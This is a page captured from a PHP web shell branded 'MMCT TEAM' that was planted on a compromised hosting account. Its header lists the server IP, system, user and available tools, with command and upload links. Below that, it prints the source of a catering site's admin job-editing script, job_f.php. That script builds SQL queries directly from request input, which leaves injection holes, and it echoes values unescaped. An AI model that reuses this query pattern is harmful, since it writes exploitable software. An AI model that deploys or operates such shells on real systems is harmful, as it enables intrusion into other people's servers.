MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.15.7.212
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/ppcad7no/pccaterers.in/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/pccaterers.in/admin/job_f.php
<?php
require_once("../includes/dbsmain.inc.php");
ob_start();
$job_opening_id=$_REQUEST['job_opening_id'];
if(is_post_back()) {
if(!empty($job_opening_id)){
$sql="update tbl_job_opening set 
				job_opening_title='$job_opening_title',
				job_opening_description='$job_opening_description',
				job_opening_status='$job_opening_status',
				job_opening_add_date=now()
				where job_opening_id='$_REQUEST[job_opening_id]'";
				db_query($sql);
				set_session_msg("Job Updated Successfully !");
				header("location:manage_jobs.php");	
				exit;		
}else{
$sql="insert into tbl_job_opening set 
				job_opening_title='$job_opening_title',
				job_opening_description='$job_opening_description',
				job_opening_status='$job_opening_status',
				job_opening_add_date=now()";
				db_query($sql);
				set_session_msg("Job Added Successfully !");
				header("location:manage_jobs.php");	
				exit;		
    }
}
if($job_opening_id!='') {
	$result = db_query("select * from tbl_job_opening where job_opening_id = '$job_opening_id'");
	if ($line_raw = mysql_fetch_array($result)) {
	 @extract($line_raw);
	}
}
?>
<script src="ckeditor/ckeditor.js"></script>
<style>
p.fck {
    width: 90%;
	float:left;
    margin: 0 auto;
 }
</style>
<link href="styles.css" rel="stylesheet" type="text/css">
<?php include("top.inc.php");?>
            <table width="100%" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td id="pageHead"><div id="txtPageHead">Add/Edit Job</div></td>
              </tr>
            </table>
            <div align="right"><a href="manage_jobs.php" style="font-size:12px; font-weight:bold; margin-right:15px;">Back to Job List</a>&nbsp;</div>
            <form name="form1" method="post" enctype="multipart/form-data">
              <table width="95%"  border="0" align="center" cellpadding="0" cellspacing="0" class="tableForm">
                <tr>
                  <td width="20%" class="tdLabel">&nbsp;</td>
                  <td width="80%" class="tdData" style="padding-left:7px;"><strong><font color="red">
                    <?=display_sess_msg();?>
                    </font></strong></td>
                </tr>
                <tr>
                  <td width="20%" class="tdLabel" style="font-size:12px; padding:7px;">Job Title:</td>
                  <td width="80%" class="tdData" style="font-size:12px; padding:7px;"><input name="job_opening_title" style="width:350px; height:28px;" type="text" id="job_opening_title"  value="<?=$job_opening_title?>" class="textfield"  ></td>
                </tr>
                <tr>
                  <td class="tdLabel" style="font-size:12px; padding:7px;">Job Detail:</td>
                  <td class="tdData" style="font-size:12px; padding:7px;"><p class="fck">
                      <textarea cols="80" id="editor1" name="job_opening_description" rows="10"><?=$job_opening_description?>
</textarea>
                      <script>

			// Replace the <textarea id="editor"> with an CKEditor
			// instance, using default configurations.
			CKEDITOR.replace( 'editor1', {
				uiColor: '#ACACAC',
				toolbar: [
					[ 'Bold', 'Italic', '-', 'NumberedList', 'BulletedList', '-', 'Link', 'Unlink' ],
					[ 'FontSize', 'TextColor', 'BGColor' ]
				]
			});

		</script>
                    </p></td>
                </tr>
                <tr>
                  <td class="tdLabel" style="font-size:12px; padding:7px;">Status:</td>
                  <td class="tdData" style="font-size:12px; padding:7px;"><select name="job_opening_status" style="width:200px; height:26px;">
                      <option value="Active" <?php if($job_opening_status=='Active'){ ?> selected="selected" <? } ?>>Active</option>
                      <option value="Inactive" <?php if($job_opening_status=='Inactive'){ ?> selected="selected" <? } ?>>Inactive</option>
                    </select></td>
                </tr>
                <tr>
                  <td class="tdLabel" style="font-size:12px; padding:7px;">&nbsp;</td>
                  <td class="tdData" style="font-size:12px; padding:7px;"><input type="image" name="imageField" src="images/buttons/submit.gif" style="width:100px; margin-bottom:25px;" /></td>
                </tr>
              </table>
            </form>
            <?php include("bottom.inc.php");?>

MMCT - 2023